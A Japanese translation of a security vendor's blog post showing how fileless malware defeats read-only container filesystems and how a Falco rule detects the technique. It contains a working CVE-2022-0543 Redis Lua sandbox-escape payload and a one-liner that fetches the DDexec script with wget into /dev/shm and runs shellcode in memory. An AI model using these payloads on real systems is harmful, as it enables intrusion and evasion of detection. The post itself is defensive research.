本文の内容は、2022年5月3日にNicholas Langが投稿したブログCompromising Read-Only Containers with Fileless Malware(https://sysdig.com/blog/containers-read-only-fileless-malware/)を元に日本語に翻訳・再構成した内容となっております。 コンテナには、通常のホストでは単純に利用できないセキュリティ機能が多数用意されています。その1つが、コンテナのルートファイルシステムを読み取り専用にする機能です。ファイルシステムを変更できないようにすることで、攻撃者がマルウェアの実行ファイルをディスクに書き込むのを防ぐことができます。ほとんどの攻撃は、ファイルの書き込みに依存して動作しますが、巧妙なケースでは、悪意のある動作の一部としてファイルレスマルウェアを使用します。また、正規のアプリケーションが影響を受けないようにすることも重要であり、ある程度の注意が必要です。 多くの人は、読み取り専用のファイルシステムを、コンテナ化された環境における悪意ある行為やコンテナドリフトを阻止するためのキャッチオールとしてとらえています。このブログでは、読み取り専用のコンテナ化環境を攻撃するマルウェアのファイルレス実行の仕組みとその普及状況を探っていきます。 BridgeCrewのKubernetesのドキュメントによると。 ”不変のルートファイルシステムと検証済みのブートメカニズムを使用することで、攻撃者が恒久的なローカル変更によってマシンを「所有」することを防止します。また、不変のルートファイルシステムは、悪意のあるバイナリがホストシステムに書き込まれるのを防ぐことができます。” 我々は、読み取り専用のルートファイルシステムを持つコンテナを攻撃する方法を実証する事で、メモリ内で実行されるファイルレスマルウェアを使用してメモリ内のデータストアを攻撃するのに適していることがわかります。さあ、はじめましょう
シーンの設定
ターゲット環境は、脆弱で最小限の(coreutils + redis)RedisのDockerイメージ(vulhub/redis:5.0.7)で、攻撃でファイルレスを維持するために –read-only flag を渡すことを確認します。 Kubernetesでは、spec:containers:securityContext:readOnlyRootFilesystem:trueで設定することができます。 Redisのリードオンリーファイルレスマルウェア 問題のRedisサービスには、LuaサンドボックスのエスケープであるCVE-2022-0543の脆弱性が存在します。CVSSシステムによると、CRITICALの深刻度として10.0を記録しています。 脆弱性スコアの計算方法の詳細については、脆弱性スコアに惑わされていませんか?CVSSの深刻度を理解し、効果的に活用する Redisには、サーバーサイドで ‘eval’ コマンドによりLuaスクリプトを評価する機能が搭載されています。CVE-2022-0543は、攻撃者がLuaコードが通常内部で実行されるサンドボックスをエスケープすることを可能にし、ホスト上で直接シェルコマンドを実行することを些細なことにしています。攻撃者が liblua5.1.so.0 Shared Object ファイル (Redis ホストファイルシステムに存在) をロードすると Lua サンドボックスのエスケープが実行され、ホストにアクセスできるようになります。 CVE-2022-0543には、概念実証(PoC)エクスプロイトが付属しており、redis-cliを使用してテストします。eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); -- this is our shell command to execute on the host local res = f:read("*a"); f:close(); return res' 0脆弱性のあるコンテナで以下のPoCをテストすると、Luaのサンドボックスエスケープを悪用して、シェルコマンドidを実行することができます。
ディスクに触れずにRedisを攻撃する
まず、システム上に新しいファイルを一切作成出来ない事を検証してみましょう。touchでファイルを作成し、lsでファイルが存在するかどうかを確認します。local f = io.popen("touch", "/tmp/abc123"); -- this is our shell command to create the file on the host local f = io.popen("ls", "/tmp/"); -- this is our shell command to list the file on the hosttouchの試みが失敗したことがわかります。最善の努力にもかかわらず、ファイル /tmp/abc123 は存在しません。
ファイルレスマルウェア – GTFObinsとLOLBins
アンチフォレンジックの世界では、悪意のあるコードがディスクに接触するのを防ぐことが、その後の調査からディスクを隠す効果的な方法になります。 そもそもプログラムがディスクに書き込まれない場合、ディスクフォレンジックはあまり役に立ちません。 もちろん、それでもメモリフォレンジックに対して脆弱です。 WindowsとLinuxの両方に、実行可能ファイルをメモリに保存し、少し余分な労力をかけて実行するファイルレスマルウェアが存在します。 Windowsでは、LOLBin(Living off the Land Binaries)が、攻撃者の目的(永続化、実行、リモートアクセスなど)をこっそり達成するために、何年も前から使用されています。これらは、マイクロソフトが署名したファイルで、OSにネイティブであるか、マイクロソフトからダウンロードしたもので、余分な「予期せぬ」機能を備えています。これらは正当な用途がありますが、攻撃者に利用される可能性もあります。 例えば、certutils.exeは、攻撃者がマルウェアをダウンロードするために使用される可能性があります。Linuxにも同様のインストール型ツールであるGTFObinsがありますが、今回は高度な例で説明します。 2004年の時点で、Linuxシステムを標的としたファイルレスマルウェアの手法が公開されています(ユーザーランドのexec(grugq)、ptraceを使用しないLinuxコードインジェクション)。最近では、スペインのリサーチャーarget13が、一般に入手可能なLinux LOLBin(GNU coreutilsの一部としてデフォルトでインストールされる)ddを使ったコードインジェクションであるDDexecを公開しました。私たちは、ディスクに触れることなくペイロードを確実に実行するために、ddexec を使用します(プロセス名を明らかにしないという副次的な効果もあります)。 さて、どうする?どうやって「悪意ある」コードをターゲットに送り込むか?/dev/shmの出番だ!
Enter: shm! Sh-what?Shm (Linuxカーネル開発者がよく使う、共有メモリの頭文字)! cyberciti.bizより: ” shm / shmfsはtmpfsとしても知られており、多くのUnix系オペレーティングシステムにおける一時ファイルストレージの一般的な名称です。マウントされたファイルシステムのように見えますが、永続的な記憶装置の代わりに仮想メモリを使用するものです” なるほど、じゃあどうやって使うんだ?それは簡単です。GNU coreutilsにはmktempが同梱されており、これだけで始めることができます。mktemp の -p フラグを使って /dev/shm に一時ファイルを作るように指示できます。 そうして、この “ファイル “が目的を果たしていることを確認しましょう。エクスプロイト内のシェルコマンドをidから次のように変更します。TMPFILE=$(mktemp -p /dev/shm); echo "derp" > $TMPFILE; cat $TMPFILEtmpfsとshmのおかげで、読み込み専用のファイルシステムを持つコンテナの中に「ファイル」を作ることができるようになりました! さっそく、この悪用方法を試してみましょう。
- まず、2つの一時ファイルを作成します。1つはスクリプト(ddsc.sh、DDexecリポジトリの一部で、メモリ内で任意のシェルコードを実行できる)を格納するためのもので、もう1つはシェルコードを格納するためのものです(ddsc.shはファイルから入力されることを期待しているので、シェルコード用に別のファイルを必要とします)。
- 次に、wget を使用して GitHub から最初の tempfile にスクリプトをダウンロードし、echo を使用して 2 番目の tempfile にシェルコードを書き込むことにします。概念実証のため、単純に “Hello world\n” と標準出力に出力するシェルコードを使用します。
DDEXEC=$(mktemp -p /dev/shm) SHELLCODE=$(mktemp -p /dev/shm); wget -O - https://raw.githubusercontent.com/arget13/DDexec/main/ddsc.sh > $DDEXEC; echo \"4831c0fec089c7488d3510000000ba0c0000000f054831c089c7b03c0f0548656c6c6f20776f726c640a00\" > $SHELLCODE; bash $DDEXEC -x < $SHELLCODE成功です!出来ました:
- Redisエクスプロイトのデプロイ
- スクリプトとシェルコードを2つの一時ファイルに書き出しました
- bashを使用して、シェルコードを入力としてスクリプトを実行
- プロセスリスト(ps)と読み取り専用ファイルシステムという複数の防御と検出(MITRE T1211)を回避しました
Falcoによるインメモリ攻撃の検出
読み取り専用保護フラグを使用しても、攻撃者はファイルレスマルウェアの技術を使用して新しい悪用方法を見つけることができることを実証しています。しかし、明らかに、すべてが失われたわけではありません。この悪意のある動作を検出するのに役立つ重要な要素があります。Falco を使ってこの検出を実装する方法を見てみましょう。 Falco は CNCF のオープンソースプロジェクトで、予期しないアプリケーションの動作を検出し、実行時にアラートを送信するために使用されます。 イベントアラートを生成するために、その強力で柔軟なルール言語を活用して、疑わしい動作を照合することができます。あらかじめ定義されたルールのセットが付属していますが、必要に応じてカスタマイズしたり、ニーズに合わせて新しいルールを作成したりすることもできます。 以下は、読み取り専用のルートファイルシステムを破壊するために使用される上記のテクニックを検出するFalcoルールの例です。- rule: Execution from /dev/shm desc: This rule detects file execution from the /dev/shm directory, a common location for threat actors to stash their readable + writable + (sometimes) executable files. condition: evt.type=execve and evt.dir=< and ((proc.exe startswith '/dev/shm' or (proc.cwd startswith /dev/shm and proc.exe startswith ./ )) or (proc.name in (ash,zsh,bash,sh,fish) and proc.args contains "/dev/shm")) output: "File execution detected from /dev/shm (proc.cmdline=%proc.cmdline image=%container.image.repository)" priority: WARNING tags: [mitre_execution]この新しいFalcoルールを読み込むことで、/dev/shmからのファイルの実行を検出し、アラートを生成することができるようになりました。
まとめ
ルートファイルシステムが読み取り専用に設定されているコンテナも、そうでないコンテナと同様に脆弱であることを実証しました。読み取り専用のファイルシステムは、ファイルレスマルウェアの技術によって悪用されるすべての脆弱性を緩和するための適切な保護を提供しません。 /dev/shm のおかげで、ディスク領域の代わりにメモリにバックアップされた「ファイル」を作成することができ、このファイルを使用して追加のマルウェアをダウンロードし、システムをさらに危険にさらすことができます。現在利用可能な多くの脆弱性スキャナーのいずれかによって識別されるように脆弱なコンテナを実行している場合は、できるだけ早くパッチを適用してください。もっとFalcoのことを知りたい方は、こちらをご覧ください。
- まずはFalco.orgをご覧ください。
- GitHubでFalcoプロジェクトをチェックしてください。
- Falco コミュニティに参加する。
- Falco Slackでメンテナーと交流する。
- ツイッターで @falco_org をフォローする。